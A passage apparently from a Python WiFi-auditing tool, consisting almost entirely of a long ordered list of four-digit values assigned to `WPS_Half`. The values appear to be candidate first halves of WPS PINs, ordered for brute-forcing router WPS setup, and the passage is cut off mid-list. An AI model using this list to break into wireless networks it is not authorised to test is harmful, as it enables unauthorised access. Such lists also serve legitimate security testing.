;065;064;063;062;061;060;059;058;057;056;055;054;053;052;051;050;049;048;047;046;045;044;043;042;041;040;039;038;037;036;035;034;033;032;031;030;029;028;027;026;025;024;023;022;021;020;019;018;017;016;015;014;013;012;011;010;009;008;007;006;005;004;003;002;001;"
__builtin__.WPS_Half ="0;0;0;1234;0000;0123;1111;2222;2590;3045;3333;4444;5555;6666;7777;8888;9999;0001;5000;0002;5001;0003;5002;0004;5003;0005;5004;0006;5005;0007;5006;0008;5007;0009;5008;0010;5009;0011;5010;0012;5011;0013;5012;0014;5013;0015;5014;0016;5015;0017;5016;0018;5017;0019;5018;0020;5019;0021;5020;0022;5021;0023;5022;0024;5023;0025;5024;0026;5025;0027;5026;0028;5027;0029;5028;0030;5029;0031;5030;0032;5031;0033;5032;0034;5033;0035;5034;0036;5035;0037;5036;0038;5037;0039;5038;0040;5039;0041;5040;0042;5041;0043;5042;0044;5043;0045;5044;0046;5045;0047;5046;0048;5047;0049;5048;0050;5049;0051;5050;0052;5051;0053;5052;0054;5053;0055;5054;0056;5055;0057;5056;0058;5057;0059;5058;0060;5059;0061;5060;0062;5061;0063;5062;0064;5063;0065;5064;0066;5065;0067;5066;0068;5067;0069;5068;0070;5069;0071;5070;0072;5071;0073;5072;0074;5073;0075;5074;0076;5075;0077;5076;0078;5077;0079;5078;0080;5079;0081;5080;0082;5081;0083;5082;0084;5083;0085;5084;0086;5085;0087;5086;0088;5087;0089;5088;0090;5089;0091;5090;0092;5091;0093;5092;0094;5093;0095;5094;0096;5095;0097;5096;0098;5097;0099;5098;0100;5099;0101;5100;0102;5101;0103;5102;0104;5103;0105;5104;0106;5105;0107;5106;0108;5107;0109;5108;0110;5109;0111;5110;0112;5111;0113;5112;0114;5113;0115;5114;0116;5115;0117;5116;0118;5117;0119;5118;0120;5119;0121;5120;0122;5121;0124;5122;0125;5123;0126;5124;0127;5125;0128;5126;0129;5127;0130;5128;0131;5129;0132;5130;0133;5131;0134;5132;0135;5133;0136;5134;0137;5135;0138;5136;0139;5137;0140;5138;0141;5139;0142;5140;0143;5141;0144;5142;0145;5143;0146;5144;0147;5145;0148;5146;0149;5147;0150;5148;0151;5149;0152;5150;0153;5151;0154;5152;0155;5153;0156;5154;0157;5155;0158;5156;0159;5157;0160;5158;0161;5159;0162;5160;0163;5161;0164;5162;0165;5163;0166;5164;0167;5165;0168;5166;0169;5167;0170;5168;0171;5169;0172;5170;0173;5171;0174;5172;0175;5173;0176;5174;0177;5175;0178;5176;0179;5177;0180;5178;0181;5179;0182;5180;0183;5181;0184;5182;0185;5183;0186;5184;0187;5185;0188;5186;0189;5187;0190;5188;0191;5189;0192;5190;0193;5191;0194;5192;0195;5193;0196;5194;0197;5195;0198;5196;0199;5197;0200;5198;0201;5199;0202;5200;0203;5201;0204;5202;0205;5203;0206;5204;0207;5205;0208;5206;0209;5207;0210;5208;0211;5209;0212;5210;0213;5211;0214;5212;0215;5213;0216;5214;0217;5215;0218;5216;0219;5217;0220;5218;0221;5219;0222;5220;0223;5221;0224;5222;0225;5223;0226;5224;0227;5225;0228;5226;0229;5227;0230;5228;0231;5229;0232;5230;0233;5231;0234;5232;0235;5233;0236;5234;0237;5235;0238;5236;0239;5237;0240;5238;0241;5239;0242;5240;0243;5241;0244;5242;0245;5243;0246;5244;0247;5245;0248;5246;0249;5247;0250;5248;0251;5249;0252;5250;0253;5251;0254;5252;0255;5253;0256;5254;0257;5255;0258;5256;0259;5257;0260;5258;0261;5259;0262;5260;0263;5261;0264;5262;0265;5263;0266;5264;0267;5265;0268;5266;0269;5267;0270;5268;0271;5269;0272;5270;0273;5271;0274;5272;0275;5273;0276;5274;0277;5275;0278;5276;0279;5277;0280;5278;0281;5279;0282;5280;0283;5281;0284;5282;0285;5283;0286;5284;0287;5285;0288;5286;0289;5287;0290;5288;0291;5289;0292;5290;0293;5291;0294;5292;0295;5293;0296;5294;0297;5295;0298;5296;0299;5297;0300;5298;0301;5299;0302;5300;0303;5301;0304;5302;0305;5303;0306;5304;0307;5305;0308;5306;0309;5307;0310;5308;0311;5309;0312;5310;0313;5311;0314;5312;0315;5313;0316;5314;0317;5315;0318;5316;0319;5317;0320;5318;0321;5319;0322;5320;0323;5321;0324;5322;0325;5323;0326;5324;0327;5325;0328;5326;0329;5327;0330;5328;0331;5329;0332;5330;0333;5331;0334;5332;0335;5333;0336;5334;0337;5335;0338;5336;0339;5337;0340;5338;0341;5339;0342;5340;0343;5341;0344;5342;0345;5343;0346;5344;0347;5345;0348;5346;0349;5347;0350;5348;0351;5349;0352;5350;0353;5351;0354;5352;0355;5353;0356;5354;0357;5355;0358;5356;0359;5357;0360;5358;0361;5359;0362;5360;0363;5361;0364;5362;0365;5363;0366;5364;0367;5365;0368;5366;0369;5367;0370;5368;0371;5369;0372;5370;0373;5371;0374;5372;0375;5373;0376;5374;0377;5375;0378;5376;0379;5377;0380;5378;0381;5379;0382;5380;0383;5381;0384;5382;0385;5383;0386;5384;0387;5385;0388;5386;0389;5387;0390;5388;0391;5389;0392;5390;0393;5391;0394;5392;0395;5393;0396;5394;0397;5395;0398;5396;0399;5397;0400;5398;0401;5399;0402;5400;0403;5401;0404;5402;0405;5403;0406;5404;0407;5405;0408;5406;0409;5407;0410;5408;0411;5409;0412;5410;0413;5411;0414;5412;0415;5413;0416;5414;0417;5415;0418;5416;0419;5417;0420;5418;0421;5419;0422;5420;0423;5421;0424;5422;0425;5423;0426;5424;0427;5425;0428;5426;0429;5427;0430;5428;0431;5429;0432;5430;0433;5431;0434;5432;0435;5433;0436;5434;0437;5435;0438;5436;0439;5437;0440;5438;0441;5439;0442;5440;0443;5441;0444;5442;0445;5443;0446;5444;0447;5445;0448;5446;0449;5447;0450;5448;0451;5449;0452;5450;0453;5451;0454;5452;0455;5453;0456;5454;0457;5455;0458;5456;0459;5457;0460;5458;0461;5459;0462;5460;0463;5461;0464;5462;0465;5463;0466;5464;0467;5465;0468;5466;0469;5467;0470;5468;0471;5469;0472;5470;0473;5471;0474;5472;0475;5473;0476;5474;0477;5475;0478;5476;0479;5477;0480;5478;0481;5479;0482;5480;0483;5481;0484;5482;0485;5483;0486;5484;0487;5485;0488;5486;0489;5487;0490;5488;0491;5489;0492;5490;0493;5491;0494;5492;0495;5493;0496;5494;0497;5495;0498;5496;0499;5497;0500;5498;0501;5499;0502;5500;0503;5501;0504;5502;0505;5503;0506;5504;0507;5505;0508;5506;0509;5507;0510;5508;0511;5509;0512;5510;0513;5511;0514;5512;0515;5513;0516;5514;0517;5515;0518;5516;0519;5517;0520;5518;0521;5519;0522;5520;0523;5521;0524;5522;0525;5523;0526;5524;0527;5525;0528;5526;0529;5527;0530;5528;0531;5529;0532;5530;0533;5531;0534;5532;0535;5533;0536;5534;0537;5535;0538;5536;0539;5537;0540;5538;0541;5539;0542;5540;0543;5541;0544;5542;0545;5543;0546;5544;0547;5545;0548;5546;0549;5547;0550;5548;0551;5549;0552;5550;0553;5551;0554;5552;0555;5553;0556;5554;0557;5556;0558;5557;0559;5558;0560;5559;0561;5560;0562;5561;0563;5562;0564;5563;0565;5564;0566;5565;0567;5566;0568;5567;0569;5568;0570;5569;0571;5570;0572;5571;0573;5572;0574;5573;0575;5574;0576;5575;0577;5576;0578;5577;0579;5578;0580;5579;0581;5580;0582;5581;0583;5582;0584;5583;0585;5584;0586;5585;0587;5586;0588;5587;0589;5588;0590;5589;0591;5590;0592;5591;0593;5592;0594;5593;0595;5594;0596;5595;0597;5596;0598;5597;0599;5598;0600;5599;0601;5600;0602;5601;0603;5602;0604;5603;0605;5604;0606;5605;0607;5606;0608;5607;0609;5608;0610;5609;0611;5610;0612;5611;0613;5612;0614;5613;0615;5614;0616;5615;0617;5616;0618;5617;0619;5618;0620;5619;0621;5620;0622;5621;0623;5622;0624;5623;0625;5624;0626;5625;0627;5626;0628;5627;0629;5628;0630;5629;0631;5630;0632;5631;0633;5632;0634;5633;0635;5634;0636;5635;0637;5636;0638;5637;0639;5638;0640;5639;0641;5640;0642;5641;0643;5642;0644;5643;0645;5644;0646;5645;0647;5646;0648;5647;0649;5648;0650;5649;0651;5650;0652;5651;0653;5652;0654;5653;0655;5654;0656;5655;0657;5656;0658;5657;0659;5658;0660;5659;0661;5660;0662;5661;0663;5662;0664;5663;0665;5664;0666;5665;0667;5666;0668;5667;0669;5668;0670;5669;0671;5670;0672;5671;0673;5672;0674;5673;0675;5674;0676;5675;0677;5676;0678;5677;0679;5678;0680;5679;0681;5680;0682;5681;0683;5682;0684;5683;0685;5684;0686;5685;0687;5686;0688;5687;0689;5688;0690;5689;0691;5690;0692;5691;0693;5692;0694;5693;0695;5694;0696;5695;0697;5696;0698;5697;0699;5698;0700;5699;0701;5700;0702;5701;0703;5702;0704;5703;0705;5704;0706;5705;0707;5706;0708;5707;0709;5708;0710;5709;0711;5710;0712;5711;0713;5712;0714;5713;0715;5714;0716;5715;0717;5716;0718;5717;0719;5718;0720;5719;0721;5720;0722;5721;0723;5722;0724;5723;0725;5724;0726;5725;0727;5726;0728;5727;0729;5728;0730;5729;0731;5730;0732;5731;0733;5732;0734;5733;0735;5734;0736;5735;0737;5736;0738;5737;0739;5738;0740;5739;0741;5740;0742;5741;0743;5742;0744;5743;0745;5744;0746;5745;0747;5746;0748;5747;0749;5748;0750;5749;0751;5750;0752;5751;0753;5752;0754;5753;0755;5754;0756;5755;0757;5756;0758;5757;0759;5758;0760;5759;0761;5760;0762;5761;0763;5762;0764;5763;0765;5764;0766;5765;0767;5766;0768;5767;0769;5768;0770;5769;0771;5770;0772;5771;0773;5772;0774;5773;0775;5774;0776;5775;0777;5776;0778;5777;0779;5778;0780;5779;0781;5780;0782;5781;0783;5782;0784;5783;0785;5784;0786;5785;0787;5786;0788;5787;0789;5788;0790;5789;0791;5790;0792;5791;0793;5792;0794;5793;0795;5794;0796;5795;0797;5796;0798;5797;0799;5798;0800;5799;0801;5800;0802;5801;0803;5802;0804;5803;0805;5804;0806;5805;0807;5806;0808;5807;0809;5808;0810;5809;0811;5810;0812;5811;0813;5812;0814;5813;0815;5814;0816;5815;0817;5816;0818;5817;0819;5818;0820;5819;0821;5820;0822;5821;0823;5822;0824;5823;0825;5824;0826;5825;0827;5826;0828;5827;0829;5828;0830;5829;0831;5830;0832;5831;0833;5832;0834;5833;0835;5834;0836;5835;0837;5836;0838;5837;0839;5838;0840;5839;0841;5840;0842;5841;0843;5842;0844;5843;0845;5844;0846;5845;0847;5846;0848;5847;0849;5848;0850;5849;0851;5850;0852;5851;0853;5852;0854;5853;0855;5854;0856;5855;0857;5856;0858;5857;0859;5858;0860;5859;0861;5860;0862;5861;0863;5862;0864;5863;0865;5864;0866;5865;0867;5866;0868;5867;0869;5868;0870;5869;0871;5870;0872;5871;0873;5872;0874;5873;0875;5874;0876;5875;0877;5876;0878;5877;0879;5878;0880;5879;0881;5880;0882;5881;0883;5882;0884;5883;0885;5884;0886;5885;0887;5886;0888;5887;0889;5888;0890;5889;0891;5890;0892;5891;0893;5892;0894;5893;0895;5894;0896;5895;0897;5896;0898;5897;0899;5898;0900;5899;0901;5900;0902;5901;0903;5902;0904;5903;0905;5904;0906;5905;0907;5906;0908;5907;0909;5908;0910;5909;0911;5910;0912;5911;0913;5912;0914;5913;0915;5914;0916;5915;0917;5916;0918;5917;0919;5918;0920;5919;0921;5920;0922;5921;0923;5922;0924;5923;0925;5924;0926;5925;0927;5926;0928;5927;0929;5928;0930;5929;0931;5930;0932;5931;0933;5932;0934;5933;0935;5934;0936;5935;0937;5936;0938;5937;0939;5938;0940;5939;0941;5940;0942;5941;0943;5942;0944;5943;0945;5944;0946;5945;0947;5946;0948;5947;0949;5948;0950;5949;0951;5950;0952;5951;0953;5952;0954;5953;0955;5954;0956;5955;0957;5956;0958;5957;0959;5958;0960;5959;0961;5960;0962;5961;0963;5962;0964;5963;0965;5964;0966;5965;0967;5966;0968;5967;0969;5968;0970;5969;0971;5970;0972;5971;0973;5972;0974;5973;0975;5974;0976;5975;0977;5976;0978;5977;0979;5978;0980;5979;0981;5980;0982;5981;0983;5982;0984;5983;0985;5984;0986;5985;0987;5986;0988;5987;0989;5988;0990;5989;0991;5990;0992;5991;0993;5992;0994;5993;0995;5994;0996;5995;0997;5996;0998;5997;0999;5998;1000;5999;1001;6000;1002;6001;1003;6002;1004;6003;1005;6004;1006;6005;1007;6006;1008;6007;1009;6008;1010;6009;1011;6010;1012;6011;1013;6012;1014;6013;1015;6014;1016;6015;1017;6016;1018;6017;1019;6018;1020;6019;1021;6020;1022;6021;1023;6022;1024;6023;1025;6024;1026;6025;1027;6026;1028;6027;1029;6028;1030;6029;1031;6030;1032;6031;1033;6032;1034;6033;1035;6034;1036;6035;1037;6036;1038;6037;1039;6038;1040;6039;1041;6040;1042;6041;1043;6042;1044;6043;1045;6044;1046;6045;1047;6046;1048;6047;1049;6048;1050;6049;1051;6050;1052;6051;1053;6052;1054;6053;1055;6054;1056;6055;1057;6056;1058;6057;1059;6058;1060;6059;1061;6060;1062;6061;1063;6062;1064;6063;1065;6064;1066;6065;1067;6066;1068;6067;1069;6068;1070;6069;1071;6070;1072;6071;1073;6072;1074;6073;1075;6074;1076;6075;1077;6076;1078;6077;1079;6078;1080;6079;1081;6080;1082;6081;1083;6082;1084;6083;1085;6084;1086;6085;1087;6086;1088;6087;1089;6088;1090;6089;1091;6090;1092;6091;1093;6092;1094;6093;1095;6094;1096;6095;1097;6096;1098;6097;1099;6098;1100;6099;1101;6100;1102;6101;1103;6102;1104;6103;1105;6104;1106;6105;1107;6106;1108;6107;1109;6108;1110;6109;1112;6110;1113;6111;1114;6112;1115;6113;1116;6114;1117;6115;1118;6116;1119;6117;1120;6118;1121;6119;1122;6120;1123;6121;1124;6122;1125;6123;1126;6124;1127;6125;1128;6126;1129;6127;1130;6128;1131;6129;1132;6130;1133;6131;1134;6132;1135;6133;1136;6134;1137;6135;1138;6136;1139;6137;1140;6138;1141;6139;1142;6140;1143;6141;1144;6142;1145;6143;1146;6144;1147;6145;1148;6146;1149;6147;1150;6148;1151;6149;1152;6150;1153;6151;1154;6152;1155;6153;1156;6154;1157;6155;1158;6156;1159;6157;1160;6158;1161;6159;1162;6160;1163;6161;1164;6162;1165;6163;1166;6164;1167;6165;1168;6166;1169;6167;1170;6168;1171;6169;1172;6170;1173;6171;1174;6172;1175;6173;1176;6174;1177;6175;1178;6176;1179;6177;1180;6178;1181;6179;1182;6180;1183;6181;1184;6182;1185;6183;1186;6184;1187;6185;1188;6186;1189;6187;1190;6188;1191;6189;1192;6190;1193;6191;1194;6192;1195;6193;1196;6194;1197;6195;1198;6196;1199;6197;1200;6198;1201;6199;1202;6200;1203;6201;1204;6202;1205;6203;1206;6204;1207;6205;1208;6206;1209;6207;1210;6208;1211;6209;1212;6210;1213;6211;1214;6212;1215;6213;1216;6214;1217;6215;1218;6216;1219;6217;1220;6218;1221;6219;1222;6220;1223;6221;1224;6222;1225;6223;1226;6224;1227;6225;1228;6226;1229;6227;1230;6228;1231;6229;1232;6230;1233;6231;1235;6232;1236;6233;1237;6234;1238;6235;1239;6236;1240;6237;1241;6238;1242;6239;1243;6240;1244;6241;1245;6242;1246;6243;1247;6244;1248;6245;1249;6246;1250;6247;1251;6248;1252;6249;1253;6250;1254;6251;1255;6252;1256;6253;1257;6254;1258;6255;1259;6256;1260;6257;1261;6258;1262;6259;1263;6260;1264;6261;1265;6262;1266;6263;1267;6264;1268;6265;1269;6266;1270;6267;1271;6268;1272;6269;1273;6270;1274;6271;1275;6272;1276;6273;1277;6274;1278;6275;1279;6276;1280;6277;1281;6278;1282;6279;1283;6280;1284;6281;1285;6282;1286;6283;1287;6284;1288;6285;1289;6286;1290;6287;1291;6288;1292;6289;1293;6290;1294;6291;1295;6292;1296;6293;1297;6294;1298;6295;1299;6296;1300;6297;1301;6298;1302;6299;1303;6300;1304;6301;1305;6302;1306;6303;1307;6304;1308;6305;1309;6306;1310;6307;1311;6308;1312;6309;1313;6310;1314;6311;1315;6312;1316;6313;1317;6314;1318;6315;1319;6316;1320;6317;1321;6318;1322;6319;1323;6320;1324;6321;1325;6322;1326;6323;1327;6324;1328;6325;1329;6326;1330;6327;1331;6328;1332;6329;1333;6330;1334;6331;1335;6332;1336;6333;1337;6334;1338;6335;1339;6336;1340;6337;1341;6338;1342;6339;1343;6340;1344;6341;1345;6342;1346;6343;1347;6344;1348;6345;1349;6346;1350;6347;1351;6348;1352;6349;1353;6350;1354;6351;1355;6352;1356;6353;1357;6354;1358;6355;1359;6356;1360;6357;1361;6358;1362;6359;1363;6360;1364;6361;1365;6362;1366;6363;1367;6364;1368;6365;1369;6366;1370;6367;1371;6368;1372;6369;1373;6370;1374;6371;1375;6372;1376;6373;1377;6374;1378;6375;1379;6376;1380;6377;1381;6378;1382;6379;1383;6380;1384;6381;1385;6382;1386;6383;1387;6384;1388;6385;1389;6386;1390;6387;1391;6388;1392;6389;1393;6390;1394;6391;1395;6392;1396;6393;1397;6394;1398;6395;1399;6396;1400;6397;1401;6398;1402;6399;1403;6400;1404;6401;1405;6402;1406;6403;1407;6404;1408;6405;1409;6406;1410;6407;1411;6408;1412;6409;1413;6410;1414;6411;1415;6412;1416;6413;1417;6414;1418;6415;1419;6416;1420;6417;1421;6418;1422;6419;1423;6420;1424;6421;1425;6422;1426;6423;1427;6424;1428;6425;1429;6426;1430;6427;1431;6428;1432;6429;1433;6430;1434;6431;1435;6432;1436;6433;1437;6434;1438;6435;1439;6436;1440;6437;1441;6438;1442;6439;1443;6440;1444;6441;1445;6442;1446;6443;1447;6444;1448;6445;1449;6446;1450;6447;1451;6448;1452;6449;1453;6450;1454;6451;1455;6452;1456;6453;1457;6454;1458;6455;1459;6456;1460;6457;1461;6458;1462;6459;1463;6460;1464;6461;1465;6462;1466;6463;1467;6464;1468;6465;1469;6466;1470;6467;1471;6468;1472;6469;1473;6470;1474;6471;1475;6472;1476;6473;1477;6474;1478;6475;1479;6476;1480;6477;1481;6478;1482;6479;1483;6480;1484;6481;1485;6482;1486;6483;1487;6484;1488;6485;1489;6486;1490;6487;1491;6488;1492;6489;1493;6490;1494;6491;1495;6492;1496;6493;1497;6494;1498;6495;1499;6496;1500;6497;1501;6498;1502;6499;1503;6500;1504;6501;1505;6502;1506;6503;1507;6504;1508;6505;1509;6506;1510;6507;1511;6508;1512;6509;1513;6510;1514;6511;1515;6512;1516;6513;1517;6514;1518;6515;1519;6516;1520;6517;1521;6518;1522;6519;1523;6520;1524;6521;1525;6522;1526;6523;1527;6524;1528;6525;1529;6526;1530;6527;1531;6528;1532;6529;1533;6530;1534;6531;1535;6532;1536;6533;1537;6534;1538;6535;1539;6536;1540;6537;1541;6538;1542;6539;1543;6540;1544;6541;1545;6542;1546;6543;1547;6544;1548;6545;1549;6546;1550;6547;1551;6548;1552;6549;1553;6550;1554;6551;1555;6552;1556;6553;1557;6554;1558;6555;1559;6556;1560;6557;1561;6558;1562;6559;1563;6560;1564;6561;1565;6562;1566;6563;1567;6564;1568;6565;1569;6566;1570;6567;1571;6568;1572;6569;1573;6570;1574;6571;1575;6572;1576;6573;1577;6574;1578;6575;1579;6576;1580;6577;1581;6578;1582;6579;1583;6580;1584;6581;1585;6582;1586;6583;1587;6584;1588;6585;1589;6586;1590;6587;1591;6588;1592;6589;1593;6590;1594;6591;1595;6592;1596;6593;1597;6594;1598;6595;1599;6596;1600;6597;1601;6598;1602;6599;1603;6600;1604;6601;1605;6602;1606;6603;1607;6604;1608;6605;1609;6606;1610;6607;1611;6608;1612;6609;1613;6610;1614;6611;1615;6612;1616;6613;1617;6614;1618;6615;1619;6616;1620;6617;1621;6618;1622;6619;1623;6620;1624;6621;1625;6622;1626;6623;1627;6624;1628;6625;1629;6626;1630;6627;1631;6628;1632;6629;1633;6630;1634;6631;1635;6632;1636;6633;1637;6634;1638;6635;1639;6636;1640;6637;1641;6638;1642;6639;1643;6640;1644;6641;1645;6642;1646;6643;1647;6644;1648;6645;1649;6646;1650;6647;1651;6648;1652;6649;1653;6650;1654;6651;1655;6652;1656;6653;1657;6654;1658;6655;1659;6656;1660;6657;1661;6658;1662;6659;1663;6660;1664;6661;1665;6662;1666;6663;1667;6664;1668;6665;1669;6667;1670;6668;1671;6669;1672;6670;1673;6671;1674;6672;1675;6673;1676;6674;1677;6675;1678;6676;1679;6677;1680;6678;1681;6679;1682;6680;1683;6681;1684;6682;1685;6683;1686;6684;1687;6685;1688;6686;1689;6687;1690;6688;1691;6689;1692;6690;1693;6691;1694;6692;1695;6693;1696;6694;1697;6695;1698;6696;1699;6697;1700;6698;1701;6699;1702;6700;1703;6701;1704;6702;1705;6703;1706;6704;1707;6705;1708;6706;1709;6707;1710;6708;1711;6709;1712;6710;1713;6711;1714;6712;1715;6713;1716;6714;1717;6715;1718;6716;1719;6717;1720;6718;1721;6719;1722;6720;1723;6721;1724;6722;1725;6723;1726;6724;1727;6725;1728;6726;1729;6727;1730;6728;1731;6729;1732;6730;1733;6731;1734;6732;1735;6733;1736;6734;1737;6735;1738;6736;1739;6737;1740;6738;1741;6739;1742;6740;1743;6741;1744;6742;1745;6743;1746;6744;1747;6745;1748;6746;1749;6747;1750;6748;1751;6749;1752;6750;1753;6751;1754;6752;1755;6753;1756;6754;1757;6755;1758;6756;1759;6757;1760;6758;1761;6759;1762;6760;1763;6761;1764;6762;1765;6763;1766;6764;1767;6765;1768;6766;1769;6767;1770;6768;1771;6769;1772;6770;1773;6771;1774;6772;1775;6773;1776;6774;1777;6775;1778;6776;1779;6777;1780;6778;1781;6779;1782;6780;1783;6781;1784;6782;1785;6783;1786;6784;1787;6785;1788;6786;1789;6787;1790;6788;1791;6789;1792;6790;1793;6791;1794;6792;1795;6793;1796;6794;1797;6795;1798;6796;1799;6797;1800;6798;1801;6799;1802;6800;1803;6801;1804;6802;1805;6803;1806;6804;1807;6805;1808;6806;1809;6807;1810;6808;1811;6809;1812;6810;1813;6811;1814;6812;1815;6813;1816;6814;1817;6815;1818;6816;1819;6817;1820;6818;1821;6819;1822;6820;1823;6821;1824;6822;1825;6823;1826;6824;1827;6825;1828;6826;1829;6827;1830;6828;1831;6829;1832;6830;1833;6831;1834;6832;1835;6833;1836;6834;1837;6835;1838;6836;1839;6837;1840;6838;1841;6839;1842;6840;1843;6841;1844;6842;1845;6843;1846;6844;1847;6845;1848;6846;1849;6847;1850;6848;1851;6849;1852;6850;1853;6851;1854;6852;1855;6853;1856;6854;1857;6855;1858;6856;1859;6857;1860;6858;1861;6859;1862;6860;1863;6861;1864;6862;1865;6863;1866;6864;1867;6865;1868;6866;1869;6867;1870;6868;1871;6869;1872;6870;1873;6871;1874;6872;1875;6873;1876;6874;1877;6875;1878;6876;1879;6877;1880;6878;1881;6879;1882;6880;1883;6881;1884;6882;1885;6883;1886;6884;1887;6885;1888;6886;1889;6887;1890;6888;1891;6889;1892;6890;1893;6891;1894;6892;1895;6893;1896;6894;1897;6895;1898;6896;1899;6897;1900;6898;1901;6899;1902;6900;1903;6901;1904;6902;1905;6903;1906;6904;1907;6905;1908;6906;1909;6907;1910;6908;1911;6909;1912;6910;1913;6911;1914;6912;1915;6913;1916;6914;1917;6915;1918;6916;1919;6917;1920;6918;1921;6919;1922;6920;1923;6921;1924;6922;1925;6923;1926;6924;1927;6925;1928;6926;1929;6927;1930;6928;1931;6929;1932;6930;1933;6931;1934;6932;1935;6933;1936;6934;1937;6935;1938;6936;1939;6937;1940;6938;1941;6939;1942;6940;1943;6941;1944;6942;1945;6943;1946;6944;1947;6945;1948;6946;1949;6947;1950;6948;1951;6949;1952;6950;1953;6951;1954;6952;1955;6953;1956;6954;1957;6955;1958;6956;1959;6957;1960;6958;1961;6959;1962;6960;1963;6961;1964;6962;1965;6963;1966;6964;1967;6965;1968;6966;1969;6967;1970;6968;1971;6969;1972;6970;1973;6971;1974;6972;1975;6973;1976;6974;1977;6975;1978;6976;1979;6977;1980;6978;1981;6979;1982;6980;1983;6981;1984;6982;1985;6983;1986;6984;1987;6985;1988;6986;1989;6987;1990;6988;1991;6989;1992;6990;1993;6991;1994;6992;1995;6993;1996;6994;1997;6995;1998;6996;1999;6997;2000;6998;2001;6999;2002;7000;2003;7001;2004;7002;2005;7003;2006;7004;2007;7005;2008;7006;2009;7007;2010;7008;2011;7009;2012;7010;2013;7011;2014;7012;2015;7013;2016;7014;2017;7015;2018;7016;2019;7017;2020;7018;2021;7019;2022;7020;2023;7021;2024;7022;2025;7023;2026;7024;2027;7025;2028;7026;2029;7027;2030;7028;2031;7029;2032;7030;2033;7031;2034;7032;2035;7033;2036;7034;2037;7035;2038;7036;2039;7037;2040;7038;2041;7039;2042;7040;2043;7041;2044;7042;2045;7043;2046;7044;2047;7045;2048;7046;2049;7047;2050;7048;2051;7049;2052;7050;2053;7051;2054;7052;2055;7053;2056;7054;2057;7055;2058;7056;2059;7057;2060;7058;2061;7059;2062;7060;2063;7061;2064;7062;2065;7063;2066;7064;2067;7065;2068;7066;2069;7067;2070;7068;2071;7069;2072;7070;2073;7071;2074;7072;2075;7073;2076;7074;2077;7075;2078;7076;2079;7077;2080;7078;2081;7079;2082;7080;2083;7081;2084;7082;2085;7083;2086;7084;2087;7085;2088;7086;2089;7087;2090;7088;2091;7089;2092;7090;2093;7091;2094;7092;2095;7093;2096;7094;2097;7095;2098;7096;2099;7097;2100;7098;2101;7099;2102;7100;2103;7101;2104;7102;2105;7103;2106;7104;2107;7105;2108;7106;2109;7107;2110;7108;2111;7109;2112;7110;2113;7111;2114;7112;2115;7113;2116;7114;2117;7115;2118;7116;2119;7117;2120;7118;2121;7119;2122;7120;2123;7121;2124;7122;2125;7123;2126;7124;2127;7125;2128;7126;2129;7127;2130;7128;2131;7129;2132;7130;2133;7131;2134;7132;2135;7133;2136;7134;2137;7135;2138;7136;2139;7137;2140;7138;2141;7139;2142;7140;2143;7141;2144;7142;2145;7143;2146;7144;2147;7145;2148;7146;2149;7147;2150;7148;2151;7149;2152;7150;2153;7151;2154;7152;2155;7153;2156;7154;2157;7155;2158;7156;2159;7157;2160;7158;2161;7159;2162;7160;2163;7161;2164;7162;2165;7163;2166;7164;2167;7165;2168;7166;2169;7167;2170;7168;2171;7169;2172;7170;2173;7171;2174;7172;2175;7173;2176;7174;2177;7175;2178;7176;2179;7177;2180;7178;2181;7179;2182;7180;2183;7181;2184;7182;2185;7183;2186;7184;2187;7185;2188;7186;2189;7187;2190;7188;2191;7189;2192;7190;2193;7191;2194;7192;2195;7193;2196;7194;2197;7195;2198;7196;2199;7197;2200;7198;2201;7199;2202;7200;2203;7201;2204;7202;2205;7203;2206;7204;2207;7205;2208;7206;2209;7207;2210;7208;2211;7209;2212;7210;2213;7211;2214;7212;2215;7213;2216;7214;2217;7215;2218;7216;2219;7217;2220;7218;2221;7219;2223;7220;2224;7221;2225;7222;2226;7223;2227;7224;2228;7225;2229;7226;2230;7227;2231;7228;2232;7229;2233;7230;2234;7231;2235;7232;2236;7233;2237;7234;2238;7235;2239;7236;2240;7237;2241;7238;2242;7239;2243;7240;2244;7241;2245;7242;2246;7243;2247;7244;2248;7245;2249;7246;2250;7247;2251;7248;2252;7249;2253;7250;2254;7251;2255;7252;2256;7253;2257;7254;2258;7255;2259;7256;2260;7257;2261;7258;2262;7259;2263;7260;2264;7261;2265;7262;2266;7263;2267;7264;2268;7265;2269;7266;2270;7267;2271;7268;2272;7269;2273;7270;2274;7271;2275;7272;2276;7273;2277;7274;2278;7275;2279;7276;2280;7277;2281;7278;2282;7279;2283;7280;2284;7281;2285;7282;2286;7283;2287;7284;2288;7285;2289;7286;2290;7287;2291;7288;2292;7289;2293;7290;2294;7291;2295;7292;2296;7293;2297;7294;2298;7295;2299;7296;2300;7297;2301;7298;2302;7299;2303;7300;2304;7301;2305;7302;2306;7303;2307;7304;2308;7305;2309;7306;2310;7307;2311;7308;2312;7309;2313;7310;2314;7311;2315;7312;2316;7313;2317;7314;2318;7315;2319;7316;2320;7317;2321;7318;2322;7319;2323;7320;2324;7321;2325;7322;2326;7323;2327;7324;2328;7325;2329;7326;2330;7327;2331;7328;2332;7329;2333;7330;2334;7331;2335;7332;2336;7333;2337;7334;2338;7335;2339;7336;2340;7337;2341;7338;2342;7339;2343;7340;2344;7341;2345;7342;2346;7343;2347;7344;2348;7345;2349;7346;2350;7347;2351;7348;2352;7349;2353;7350;2354;7351;2355;7352;2356;7353;2357;7354;2358;7355;2359;7356;2360;7357;2361;7358;2362;7359;2363;7360;2364;7361;2365;7362;2366;7363;2367;7364;2368;7365;2369;7366;2370;7367;2371;7368;2372;7369;2373;7370;2374;7371;2375;7372;2376;7373;2377;7374;2378;7375;2379;7376;2380;7377;2381;7378;2382;7379;2383;7380;2384;7381;2385;7382;2386;7383;2387;7384;2388;7385;2389;7386;2390;7387;2391;7388;2392;7389;2393;7390;2394;7391;2395;7392;2396;7393;2397;7394;2398;7395;2399;7396;2400;7397;2401;7398;2402;7399;2403;7400;2404;7401;2405;7402;2406;7403;2407;7404;2408;7405;2409;7406;2410;7407;2411;7408;2412;7409;2413;7410;2414;7411;2415;7412;2416;7413;2417;7414;2418;7415;2419;7416;2420;7417;2421;7418;2422;7419;2423;7420;2424;7421;2425;7422;2426;7423;2427;7424;2428;7425;2429;7426;2430;7427;2431;7428;2432;7429;2433;7430;2434;7431;2435;7432;2436;7433;2437;7434;2438;7435;2439;7436;2440;7437;2441;7438;2442;7439;2443;7440;2444;7441;2445;7442;2446;7443;2447;7444;2448;7445;2449;7446;2450;7447;2451;7448;2452;7449;2453;7450;2454;7451;2455;7452;2456;7453;2457;7454;2458;7455;2459;7456;2460;7457;2461;7458;2462;7459;2463;7460;2464;7461;2465;7462;2466;7463;2467;7464;2468;7465;2469;7466;2470;7467;2471;7468;2472;